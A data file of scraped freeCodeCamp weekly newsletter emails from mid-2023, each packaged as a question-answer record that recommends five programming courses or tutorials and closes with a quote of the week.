{"id": "gh_e10948a1a7c7", "question": "How to: July 21, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn to code your own Threads clone. Oops. I mean Twitter clone. Mastodon, Blue Sky, everyone's building their own Twitter. And now you can, too. Of course, the real goal is to learn new tools. And learn you shall. You'll get hands-on practice with powerful new tools like Next.js, Supabase, and Tailwind.css. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-full-stack-development-with-next-js-and-supabase-by-building-a-twitter-clone/\n\n2. Websites are fun. But sometimes you want a Graphical User Interface (GUI) that runs right on your user's operating system. That's where Python and the TKinter GUI library come in. This course is taught by software engineer and prolific freeCodeCamp contributor John Elder. You'll learn how to build ttkbootstrap widgets so your users can easily navigate and interact with your app. (3 hour YouTube course): https://www.freecodecamp.org/news/modern-python-app-design-with-ttkbootstrap/\n\n3. If you've got an old computer lying around, why not breathe new life into it by loading up a high-performance Linux operating system. I've found that even decade-old laptops can run like new with a light-weight Linux distribution. This tutorial will guide you through several options you can use to learn Linux through tinkering, while also resurrecting an old PC. (16 minute read): https://www.freecodecamp.org/news/lightweight-linux-distributions-for-your-pc/\n\n4. You may have heard the term “Information Architecture”. Designers think in terms of how to structure information so it can be as digestible as possible for users. This tutorial will explain key IA and User-Centric Design concepts. Then it will walk you through the process of planning the Userflow for a website or app. (20 minute read): https://www.freecodecamp.org/news/information-architecture-userflow-sitemap/\n\n5. I'm thrilled to announce that my friends Jess and Ramón are hosting another freely available coding bootcamp that uses freeCodeCamp's curriculum. This is the latest in their “Bad Website Club” series where people set their pride aside and just start coding for fun and practice. They'll host live streams throughout the month of August, and answer questions on the freeCodeCamp forum. If you have time, this is a fun way to make friends and learn about web development. (5 minute read): https://www.freecodecamp.org/news/free-webdev-bootcamp/\n\nQuote of the Week: *\"There's a strand of the data viz world that argues that everything could be a bar chart. That's possibly true but also possibly a world without joy.\"* — Amanda Cox, Developer and Data Journalist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740739"}
{"id": "gh_e833b02660af", "question": "How to: July 14, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. TypeScript is a popular version of JavaScript that uses static types. This means that for each variable in your code, you specify whether it's a string, array, integer, or other data type. Why bother with this? Because it will dramatically reduce the number of bugs in your codebase. freeCodeCamp moved to TypeScript a few years ago, and we haven't looked back. If you know some basic JavaScript, you can quickly learn TypeScript and start reaping the benefits. This full-length handbook will teach you how to use React with TypeScript. You can code along at home and build your own type-safe To Do List app. (full-length handbook – 2 hour read): https://www.freecodecamp.org/news/typescript-tutorial-for-react-developers/\n\n2. We also published a full-length book on Astro. It's a popular new User Interface framework that a lot of my friends are adopting. Astro is written in TypeScript, and built for speed. This book is structured as a series of projects. You can code along at home and build your own Component Island, then build React apps on top of it. Along the way, you'll get a feel for Server-Side Rendering. (full-length book - 8 hour read): https://www.freecodecamp.org/news/how-to-use-the-astro-ui-framework/\n\n3. Steganography is the art of hiding things in plain sight. It translates to “the study of hidden things” in Greek. You can hide data inside of other data. Then – if you did it right – people will be none the wiser. This tutorial will show you how to use Steganography to hide information in text, images, video, and even network traffic itself. (15 minute read): https://www.freecodecamp.org/news/what-is-steganography-hide-data-inside-data/\n\n4. Deploying an app to the cloud can be a daunting task. Thankfully, we have Infrastructure-as-Code tools that make this process a lot simpler. This DevOps course will teach you how to use Terraform to configure your servers and domains. If you learn how to automate app deployment, you'll save a lot of time and headache down the line. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-use-terraform-to-deploy-a-site-on-google-cloud-platform\n\n5. Postman is a powerful tool for testing your APIs, and making sure that new feature code doesn't break your existing codebase. This in-depth course will show you how to use Postman to debug your API endpoints, and ultimately automate deployment using Continuous Integration / Continuous Delivery tools. You can code along at home, and do some CI/CD while listening to some AC/DC. (4 hour YouTube course): https://www.freecodecamp.org/news/master-api-testing-with-postman/\n\nFinally, I'm excited to share that after a 4 year break, I've relaunched the freeCodeCamp Podcast. I spent several weeks in San Francisco interviewing developers in-person at public libraries across the city. And this week I'm heading to New York City to interview even more devs. I'll publish a new interview each week. The first 3 interviews are already live. (3 new 2-hour episodes + 85 older episodes): https://www.freecodecamp.org/news/freecodecamp-podcast-season-2-developer-interviews/\n\nQuote of the Week: *\"I love working with smart people and being challenged. I also like working on stuff that's relevant. That's my adrenaline shot.\"* — Anders Hejlsberg, Co-creator of TypeScript", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740750"}
{"id": "gh_3120d717e824", "question": "How to: July 7, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Is that a hot dog or not a hot dog? This Python AI course will teach you how to build a Convolutional Neural Network that can classify images. You'll use a database of food photos to train your AI to spot the hot dogs. You can also use CNNs for natural language processing – think ChatGPT – and time series forecasting. This is an excellent beginner AI course taught by freeCodeCamp instructor and Google engineer Kylie Ying. (2 hour watch): https://www.freecodecamp.org/news/convolutional-neural-networks-course-for-beginners/\n\n2. Learn to create your own programming language. If you know some basic Python, you're all set to dive in. This freeCodeCamp course will teach you language design concepts and data structures. You'll learn about Object Oriented Programming, Binary Trees, Linear Programming, Tokenization, Lexing, Parsing, and more. (4 hour YouTube course): https://www.freecodecamp.org/news/create-your-own-programming-language-using-python/\n\n3. freeCodeCamp just published this full-length handbook on JavaScript. It will teach you how to set up your computer for JavaScript development with tools like VS Code. Then it will walk you through many features of the programming language, including Variables, Data Types, Operators, and Control Flow. You can read this and bookmark it for future reference as you continue to expand your JS skills. (full handbook – 3 hour read): https://www.freecodecamp.org/news/learn-javascript-for-beginners/\n\n4. Most developers learn how to use Git's merge feature to add new code to an existing codebase. Git Merge preserves the exact history of code contributions. But sometimes you need a more surgical tool. That's where Git Rebase comes in. This handbook by software engineer and CTO Omer Rosenbaum will teach you how to use Git Merge, Git Rebase, Cherry Picking, and more. (full handbook – 3 hour read): https://www.freecodecamp.org/news/git-rebase-handbook/\n\n5. What's the difference between Supervised Learning and Unsupervised Learning? This quick article will explain these two approaches to Machine Learning, and how each works. You'll also learn some AI techniques that each approach applies. (20 minute read): https://www.freecodecamp.org/news/supervised-vs-unsupervised-learning/\n\nJoke of the Week: *\"It's only called a Neural Network if it comes from the Neuralè region of France. Otherwise you have to call it a logistic regression.\"* — Vicki Boykis, Machine Learning Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740760"}
{"id": "gh_44e6b293e060", "question": "How to: June 30, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. In this beginner course, you'll learn how to code your own 3D role-playing game. You'll use the open source Godot Game Engine to learn character creation, animation trees, inventory systems, and monster AI. This course includes all the 3D models and game environment assets you'll need to build the game. (5 hour YouTube course): https://www.freecodecamp.org/news/create-a-3d-rpg-game-with-godot/\n\n2. And freeCodeCamp also published this advanced C# course. If you're already somewhat experienced with programming, and want to go deep on C#, this is the course for you. You'll learn about C# Delegates, Events, Generics, Asynchronous Programming, and Reflection. You'll also learn advanced LINQ and .NET concepts. (15 hour YouTube course): https://www.freecodecamp.org/news/learn-advanced-c-concepts/\n\n3. Large Language Models (LLMs) like GPT-4 are yet another tool developers can use to get things done. But one big limitation is that LLMs are pre-trained, and lack access to current information. That's where the new GPT Plugin ecosystem comes in. This tutorial will show you how plugins work so you can build one and fetch real-time data using APIs. (15 minute read): https://www.freecodecamp.org/news/how-to-build-a-chatgpt-plugin-case-study/\n\n4. And if you're interested in LLMs, I encourage you to learn how to use LangChain. It's an open source Python library that breaks documents down into chunks and makes them easier for LLMs to search, analyze, and summarize. This tutorial will walk you through using LangChain and other libraries to create a Twitter bot that can generate text and reference up-to-date information, such as Wikipedia articles. (20 minute read): https://www.freecodecamp.org/news/create-an-ai-tweet-generator-openai-langchain/\n\n5. Even if you don't have a computer science degree, you can still learn computer science. This article will give you a broad overview of the field, and share some books and courses you may find helpful. They cover algorithms, architecture, operating systems, databases, networks, and more. (20 minute read): https://www.freecodecamp.org/news/what-every-software-engineer-should-know/\n\nQuote of the Week: *\"I try to make a game that has beautiful open spaces, gaps, room for players to enjoy it in ways that were not authored. I never want it to be where you have to follow the rules completely, where you have to do things exactly as the designers intended.\"* — Hidetaka Miyazaki, developer, game designer, and creator of Dark Souls and Elden Ring", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740770"}
{"id": "gh_03a647974ff2", "question": "How to: June 23, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Pandas is a powerful data analysis library for Python. And in this course, freeCodeCamp instructor Santiago Basulto will teach you how to harness this power. You'll learn data analysis by categorizing Pokémon. You'll learn data cleaning with a Premier League Match soccer dataset. And you'll learn data wrangling with an NBA season dataset. I encourage you to code along at home and build some Pandas muscle memory as you progress through these projects. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-pandas-for-data-science/\n\n2. Supabase is an open source alternative to Firebase. It's built on top of PostgreSQL, which makes it easier to learn if you're already familiar with SQL databases. This course will teach you how to use Supabase to streamline your back-end development. freeCodeCamp instructor Guillaume Duhan will teach you about real time databases and instant APIs. You'll learn about schemas, triggers, logs, webhooks, and tons of security features as well. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-supabase-open-source-firebase-alternative/\n\n3. One of the key features of CSS is its Transform property. You can take any HTML element – such as an image – and stretch it, skew it, or flip it. Oluwatobi Sofela wrote this CSS Transform Handbook, which you can bookmark for the next time you want to alter an image right in your CSS. (full handbook – 1 hour read): https://www.freecodecamp.org/news/complete-guide-to-css-transform-functions-and-properties/\n\n4. Learn how to incorporate AI tools into your web apps. Software engineer Tom Chant will walk you through coding your own “know it all” chatbot. If you already know some basic HTML, CSS, and JavaScript, you're all set to follow along with this intermediate tutorial. And if you enjoy it, Tom also created a full 5-hour course that expands upon it – also available on freeCodeCamp. (40 minute read + 5 hour YouTube course): https://www.freecodecamp.org/news/build-gpt-4-api-chatbot-turorial/\n\n5. As you may know, the freeCodeCamp community has invested a ton of time and energy into making our courses available in other languages. Estefania has been creating Spanish-language programming courses, and she just released her newest one on JavaScript DOM Manipulation. Be sure to tell your Spanish-speaking friends. And Estefania has written this article in English if you're curious to learn more about our localization efforts. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-javascript-for-dom-manipulation-in-spanish-course-for-beginners/\n\nQuote of the Week: *\"Numbers have an important story to tell. They rely on you to give them a voice.\"* — Stephen Few, Author and Data Analyst", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740780"}
{"id": "gh_36525dd73350", "question": "How to: June 16, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. C is the most widely-used programming language in the world. Even when you're coding in Python or JavaScript, you're still using C under the hood. One key reason why C is still so popular 50 years after its creation is its high performance. C directly interacts with computer hardware. One way it does this is through Pointers, which point to the location of data in the computer's physical memory. In this beginner's freeCodeCamp course on C programming, you'll learn about Pointers and key concepts like Passing By Reference, Passing By Value, Void Pointers, Arrays, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/finally-understand-pointers-in-c/\n\n2. If you're wanting to earn professional certifications for your résumé or LinkedIn, this new freeCodeCamp course will help you pass the Microsoft Power Platform Fundamentals Certification (PL-900) exam. You'll learn about Power BI, Power Virtual Agents, Power Automate, and other tools. freeCodeCamp now also has full-length courses on dozens of certifications from Azure, AWS, Google Cloud, Terraform, and more. We've got you covered. (4 hour YouTube course): https://www.freecodecamp.org/news/microsoft-power-platform-fundamentals-certification-pl-900/\n\n3. Did you know that – unlike other popular scripting languages – JavaScript is asynchronous? Thanks to non-blocking input/output, JavaScript engines can continue to receive instructions even when they're busy. But this is a double-edged sword. This in-depth tutorial will teach you how to use Promises and Async/Await techniques to harness the full power of JavaScript without creating a gigantic mess. (40 minute read): https://www.freecodecamp.org/news/guide-to-javascript-promises/\n\n4. Not even spreadsheets are safe from Generative AI. You can now include prompts in Google Sheets and get GPT-4 responses right in the cells. This tutorial will show you how to generate boilerplate text, translations, and even code snippets. This is still the same old GPT-4, but you may find it convenient to access it right in your spreadsheets. (12 minute read): https://www.freecodecamp.org/news/ai-in-google-sheets/\n\n5. A wise developer once said that there are only 3 hard problems in programming: Cache Invalidation, naming things, and centering elements with CSS. Well, I can't help you with those first two, but this guide will teach you everything you need to know about CSS spacing. You'll learn about Margins, Padding, Borders, Flexbox, Gaps, and the CSS Box Model. With some practice, you'll develop a keen instinct for how to create CSS layouts, so you can design elegant websites and apps. (30 minute read): https://www.freecodecamp.org/news/css-spacing-guide-for-web-devs/\n\nQuote of the Week: *\"Learning how to learn is life's most important skill.\"* — Tony Buzan, who wrote books about Mind Mapping, Mnemonics, and other learning methods", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740790"}
{"id": "gh_f65baa9747d3", "question": "How to: June 9, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive Computer Vision course. In this course, you'll use Python and the powerful TensorFlow library to diagnose Malaria, generate original images, and even predict human emotions from facial expressions. You'll learn about Vision Transformers, Generative Adversarial Networks, Variational Autoencoders, and a ton of other cutting edge computer science concepts. The only prerequisite for this course is some beginner Python programming skills, which you can also learn from one of freeCodeCamp's many open courses. Don't let yourself be daunted by all of this. You can do it. (37 hour YouTube course): https://www.freecodecamp.org/news/how-to-implement-computer-vision-with-deep-learning-and-tensorflow/\n\n2. Rust is still one of the newer programming languages, but many codebases are already adopting it. Even the Linux Kernel now uses Rust. And Stack Overflow users have voted it the “most loved” programming language 7 years in a row. You can learn how to harness the raw performance power of Rust through this new freeCodeCamp Rust course. You'll learn about variables, functions, control flow, modules, and even closures. Enjoy. (14 hour YouTube course): https://www.freecodecamp.org/news/rust-programming-course-for-beginners/\n\n3. Learn the key Design Patterns that power massive distributed systems. This new book by an experienced back-end developer will teach you the fundamental challenges of distributing work across many data centers around the world. In this intermediate software engineering book, you'll learn more than a dozen Design Patterns including the Saga Pattern, the Split Brain Pattern, and my personal favorite, the Sidecar Pattern. Who doesn't love sidecars? (full book - 2 hour read): https://www.freecodecamp.org/news/design-patterns-for-distributed-systems/\n\n4. This new book from the freeCodeCamp community will guide you through three popular JavaScript front-end development tools: Angular, Vue.js, and React. Each of these tools can be used to accomplish similar goals, but you only need one of them. So which one should you use for a given project? This book will help you decide. It will walk you through code examples for each of these tools, so you can understand their relative strengths and weaknesses. (full book - 2 hour read): https://www.freecodecamp.org/news/front-end-javascript-development-react-angular-vue-compared/\n\n5. When you're doing front-end development, there are so many ways you can style your React components. You could use CSS preprocessors, component libraries, or just plain-vanilla CSS. This quick tutorial will give you some code examples of the most common approaches, and share the pros and cons of each. (12 minute read): https://www.freecodecamp.org/news/how-to-style-a-react-app/\n\nQuote of the Week: *\"Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.\"* — Marie Curie, Physicist, Chemist, and 2-time Nobel Prize winner", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740801"}
{"id": "gh_e5722b842635", "question": "How to: June 2, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community just published an in-depth course on how to incorporate AI tools into your web apps. Software engineer Tom Chant will walk you through coding your own Movie Pitch generator app – complete with movie summaries from GPT-4 and poster art from DALL-E. He'll also show you how to code your own drone delivery chatbot. If you already know some basic HTML, CSS, and JavaScript, you're all set to take this intermediate course. If not, don't worry – you can use freeCodeCamp's core curriculum to learn these web development fundamentals. (5 hour YouTube course): https://www.freecodecamp.org/news/build-ai-apps-with-chatgpt-dall-e-and-gpt-4/\n\n2. Graph databases are a powerful category of NoSQL databases. By representing data through a system of nodes and edges, graph databases can store and quickly process the relationships between different data points. This makes graph databases a popular choice for building social networks, recommendation engines, and scientific research datasets. This freeCodeCamp course will teach how to use the popular Neo4j graph database to build a sophisticated Java Spring Boot app. Instructors Gavin and Farhan will guide you through using these tools step-by-step. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-neo4j-database-course/\n\n3. Did you know that you can train an AI using the same graphics cards people use to play video games? Graphics cards have hundreds of inexpensive processors on them, making them ideal for machine learning. This tutorial by software engineer Fahim Bin Amin will show you how to set up an NVIDIA GPU so you can do parallel programming in a framework called CUDA. (20 minute read): https://www.freecodecamp.org/news/how-to-setup-windows-machine-for-ml-dl-using-nvidia-graphics-card-cuda/\n\n4. How does JavaScript work behind the scenes, really? In this quick tutorial, Esther will explain how Google Chrome's V8 JavaScript engine works. You'll learn about runtimes, interpretation, just-in-time compilation, and more. (12 minute read): https://www.freecodecamp.org/news/how-javascript-works-behind-the-scenes/\n\n5. Learn to code your own full-stack web app using Next.js. In this tutorial, you can follow along and build a trivia app based off of the popular comedy TV show Family Guy. You'll learn about Shared Layouts, Dynamic API routes, static page generation, and more. By the end of this tutorial, you'll have built your own quiz site that you can share with your friends. (1 hour read): https://www.freecodecamp.org/news/build-a-full-stack-application-with-nextjs/\n\nQuote of the Week: *\"Falling in love with code means falling in love with problem solving, and being a part of a forever ongoing conversation.\"* — Kathryn Barrett, a software engineer who volunteers to teach kids how to code", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740813"}
{"id": "gh_e151ce2e54b9", "question": "How to: May 26, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. 6 years ago, Brian Hough started using freeCodeCamp to learn coding. Today he is a professional software developer, and he just published his first freeCodeCamp course. This course will help you learn full-stack web development using the popular Next.js React framework, TypeScript, and AWS. You can code along at home and build your own full-stack quote app, which will share wise quotes from historical figures. (6 hour YouTube course): https://www.freecodecamp.org/news/full-stack-development-with-next-js-typescript-and-aws/\n\n2. Django is a powerful Python web development framework. And in this course by freeCodeCamp instructor Tomi Tokko, you'll learn how to use Django along with the OpenAI API to code your own ChatGPT-like chatbot interface. If you're new to Python, and you're excited about recent breakthroughs in AI, this course is for you. (2 hour YouTube course): https://www.freecodecamp.org/news/use-django-to-code-a-chatgpt-clone/\n\n3. You may have heard of LeetCode, a site a lot of developers use to practice common coding interview questions. Well, you're about to code your own LeetCode-like website using cutting edge tools: TypeScript, Next.js, Tailwind CSS, and Firebase. Software Engineer Burak Orkmez will walk you through building the website step-by-step, teaching you how to implement lots of features like authentication, saving code submissions in local storage, and even challenge completion modals. (7 hour YouTube course): https://www.freecodecamp.org/news/build-and-deploy-a-leetcode-clone-with-react-next-js-typescript-tailwind-css-firebase\n\n4. I don't know many developers who'd recommend using AI to write production code. But I know plenty of developers who use AI to help improve the quality of their code. This tutorial will give you some ideas for how AI can help you with bug detection, documenting parts of your code, and finding little tweaks to increase its performance. (20 minute read): https://www.freecodecamp.org/news/how-to-use-ai-to-improve-code-quality/\n\n5. My friend Manoel compiled a list of the 120 freely available university math courses. He also did research to determine the top 3 universities in the world for mathematics, which by his metrics are MIT, Princeton, and Cambridge. His list includes lots of courses from these schools and many others. If you want to learn some Algebra, Statistics, or Calculus, this will help you choose the right course. (fully browsable list): https://www.freecodecamp.org/news/math-online-courses-from-worlds-top-universities/\n\nQuote of the Week: *\"What is mathematics? It is only a systematic effort of solving puzzles posed by nature.\"* — Shakuntala Devi, who was hailed as a “Human Computer” for her ability to solve mathematical equations in her head", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740824"}
{"id": "gh_b4beafa0fc2c", "question": "How to: May 19, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to speed up your software development by making use of ChatGPT. In this freeCodeCamp course, you'll watch an experienced software developer as she builds a full-stack app in just 2 hours, with the help of ChatGPT. Along the way, she'll explain a bit about how Large Language Models like GPT-4 work, so you can better judge the quality of their output. These AI tools are improving quickly. And to harness their full power, you'll want to put in the time to really learn your math, programming, and computer science concepts. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-full-stack-application-using-chatgpt/\n\n2. Learn to code an iPhone app, Android app, and native desktop app – all with the same codebase. This course will teach you cross-platform development using the powerful Ionic and Capacitor JavaScript libraries. You'll learn about Responsive UI, the Gesture API, Data storage, and more. (3 hour YouTube course): https://www.freecodecamp.org/news/create-native-apps-with-ionic-and-capacitor/\n\n3. You may have heard of \"Clean Code\" before. It's a collection of coding best practices. You can read this handbook, then bookmark it so you can refer to it when you need to understand key Clean Code concepts. You'll learn about Modularization, The Single Responsibility Principle, Naming Conventions, and more. (Full-length handbook): https://www.freecodecamp.org/news/how-to-write-clean-code/\n\n4. Can you spot the bug? This JavaScript course will teach you about common JavaScript security vulnerabilities and how to fix them. You'll look at code samples from JS, MongoDB, and Docker. Be sure to write me back and let me know how many of these you managed to get right. (30 minute YouTube course): https://www.freecodecamp.org/news/can-you-find-the-bug-javascript-security-vulnerabilities-course/\n\n5. Learn GameDev with... Google Sheets? This tutorial will walk you through coding your own Tic Tac Toe game using Apps Script – right in a spreadsheet. (12 minute read): https://www.freecodecamp.org/news/learn-google-apps-script-basics-by-building-tic-tac-toe/\n\nQuote of the Week: *\"Debugging is like being the detective in a crime movie where you are also the murderer.\"* — Filipe Fortes, Software Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740835"}
{"id": "gh_a74ea8f0a9a2", "question": "How to: May 12, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn the basics of Relational Databases. This SQL course for beginners will give you a strong conceptual foundation. You'll learn how to create Tables and how to drop them. You'll learn about Aggregation, Grouping, and Pagination. We've even included several SQL technical interview questions and answers that you may encounter during the developer job search. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-sql-full-course/\n\n2. Go is a fast, statically-typed programming language. Over the past decade, it's gained somewhat of a cult following among developers. And we're proud to bring you this in-depth Go course. You'll code real-world projects like an RSS aggregator and an API key authenticator. (10 hour YouTube course): https://www.freecodecamp.org/news/go-programming-video-course/\n\n3. If you're interested in Back-End Development, you should familiarize yourself with these powerful software Design Patterns. This primer will introduce you to the Observer Pattern, the Decorator Pattern, Model-View-Controller, and more. You'll then learn how to use each of these approaches by examining real-world examples. (40 minute read): https://www.freecodecamp.org/news/design-pattern-for-modern-backend-development-and-use-cases/\n\n4. This tutorial will walk you through how to build your own chatbot powered by OpenAI's GPT API. You'll start by coding a simple command-line chat app using Node.js. Then you'll use React to build a web interface for your chatbot. Finally, you'll combine the two together. After a few hours of coding, you'll have your own custom chat interface. You can then expand upon it or incorporate it into other apps. (30 minute read): https://www.freecodecamp.org/news/how-to-build-a-chatbot-with-openai-chatgpt-nodejs-and-react/\n\n5. Many of the recent breakthroughs in AI are powered by Artificial Neural Networks. These work in surprisingly similar ways to how we think the human brain works. This article will explore the brain-inspired approach to building AI systems. You'll learn about Distributed Representations, Recurrent Feedback, Parallel Processing, and more. (25 minute read): https://www.freecodecamp.org/news/the-brain-inspired-approach-to-ai/\n\nQuote of the Week: *\"Don't ask SQL developers to help you move furniture. They drop tables.\"* — Carla Notarobot, Software Engineer and Bad Joke Sharer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740845"}
{"id": "gh_ee745c1a3848", "question": "How to: May 5, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn to code in Python from one of the greatest living Computer Science professors, Harvard's David J. Malan. This is the newest course in freeCodeCamp's partnership with Harvard. It will teach you Python programming fundamentals like functions, conditionals, loops, libraries, file I/O, and more. If you are new to Python, or to coding in general, this is an excellent place to start. (16 hour YouTube course): https://www.freecodecamp.org/news/learn-python-from-harvard-university/\n\n2. And if you want to use your Python for data science, this course on Regression Analysis will help you understand relationships in your data. You'll learn concepts that underpin many machine learning algorithms, such as Linear Regression, Polynomial Regression, Feature Engineering, and more. And you'll reinforce your understanding along the way by coding several Python projects. (10 hour YouTube course): https://www.freecodecamp.org/news/master-regression-analysis-for-machine-learning/\n\n3. There's not a public API for everything. Sometimes developers have to resort to scraping. Scraping is a technique where you extract data directly from a webpage. And Python makes scraping so much easier. This course will teach you how to code your own Scrapy spider to crawl websites. Then you'll learn how to clean your data, build pipelines, and ultimately automate the entire process in the cloud. (5 hour YouTube course): https://www.freecodecamp.org/news/use-scrapy-for-web-scraping-in-python/\n\n4. But if you have a website of your own and you don't want people to scrape it, you can provide an API for them instead. This freely available REST API Handbook will teach you how to code your own API using Node.js and Express. You'll also learn how to write tests for your API to ensure it works reliably. This is very important if you don't like waking up late at night to fix outages. You'll even learn how to document your API using a tool called Swagger. (full book): https://www.freecodecamp.org/news/build-consume-and-document-a-rest-api\n\n5. You may have run Git's Merge command before. You may even have messed up a Git Merge before, resulting in a lot of extra work for yourself. To many, Git Merge is a mystery. But to you, no more. This definitive guide to Git's Merge feature will finally put those ambiguities to rest. And for the rest of your life, when you do a Git Merge, you'll do so with confidence that you actually understand what the heck is going on. (1 hour read): https://www.freecodecamp.org/news/the-definitive-guide-to-git-merge/\n\nIt's been an amazing week for open learning resources. And these are just some of the books and courses the freeCodeCamp community published this week.\n\nIf you haven't read my book yet, you should. It's called \"How to Learn to Code and Get a Developer Job\" and it's fully available on freeCodeCamp. It's really long, so you can bookmark it and read it at your own pace: https://www.freecodecamp.org/news/learn-to-code-book/\n\nQuote of the Week: *\"Python is a truly wonderful language. When somebody comes up with a good idea, it takes about 1 minute and five lines to program something that almost does what you want. Then it takes only an hour to extend the script to 300 lines, after which it still does almost what you want.\"* — Jack Jansen, Scientific Programmer and Software Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740858"}
{"id": "gh_20de31b3a951", "question": "How to: Apr 28, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you're new to HTML, CSS, and JavaScript, this freeCodeCamp course is for you. Jess, AKA CoderCoder, will walk you through building your own social media dashboard app step-by-step. You'll build a simple website, then optimize it for different device sizes. You'll learn how to use hover states for your interactive elements, and even add a day-night mode toggle. This course touches on so many key skills, including how to create a GitHub repository for your code, how to approach basic web design, and how to keep accessibility top of mind. (7 hour YouTube course): https://www.freecodecamp.org/news/create-a-simple-website-with-html-css-javascript/\n\n2. React is a powerful front end development JavaScript library. And one of its key components is React Router. This tool helps you pipe all your different React elements together into a sophisticated app. In this course, you'll learn on React Router 6 from renowned JavaScript instructor Bob Ziroll. He'll guide you through coding your own production-grade dynamic web app. (10 hour YouTube course): https://www.freecodecamp.org/news/learn-react-router-6-full-course/\n\n3. We've been talking a lot about the impact of Generative AI and Large Language Models (LLMs) like GPT-4. These are impacting software development in a lot of profound ways. And they're also making a splash in the field of cybersecurity. It turns out you can use LLMs to analyze threat patterns, write incident reports, and even debug your code. But this comes with its own set of risks, writes Daniel Iwugo. His primer will give you a higher fidelity lens through which you can look at AI and its implications for security. (20 minute read): https://www.freecodecamp.org/news/large-language-models-and-cybersecurity/\n\n4. Even with all the recent AI breakthroughs, code still doesn't deploy itself. DevOps engineers and even regular devs need to know how to push their code to the internet. This beginner tutorial will explain common strategies you can use to deploy your code to production. You'll learn about Rolling Deployment, Blue/Green Deployment, and my personal favorite, Canary Deployment. (20 minute read): https://www.freecodecamp.org/news/application-deployment-strategies/\n\n5. I'm obsessed with learning. I'm constantly looking for ways to learn more efficiently so I can cram more into the 30-watt computer that is my brain. Which is why I was jazzed to read this guide by Otavio Ehrenberger. He shows you how to use tools like Python, Anki, and ChatGPT to automate your flashcard workflows and turbo-charge your 